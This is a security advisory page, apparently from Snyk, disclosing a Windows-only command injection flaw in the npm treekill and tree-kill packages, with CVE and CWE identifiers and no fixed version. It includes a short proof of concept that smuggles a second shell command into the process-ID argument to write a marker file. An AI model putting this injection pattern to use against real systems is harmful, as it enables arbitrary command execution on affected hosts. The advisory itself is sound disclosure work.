Command Injection Affecting treekill package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.4% (75th percentile)

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  • Snyk IDSNYK-JS-TREEKILL-536805
  • published5 Dec 2019
  • disclosed4 Dec 2019
  • creditmik317

Introduced: 4 Dec 2019

CVE-2019-15598  (opens in a new tab)
CVE-2019-15599  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

There is no fixed version for treekill.

Overview

treekill is a package for treekill process and it's all children and child offspring children.

Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command within tree-kill and treekill that will be executed without any check.

Note: This vulnerability is only applicable if the package is used on a Windows operating system.

PoC by mik317

  1. Create this POC file
//poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
  1. Execute the following commands in another terminal:
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
  1. A new file called HACKED.txt will be created, containing the HACKED string

CVSS Scores

version 3.1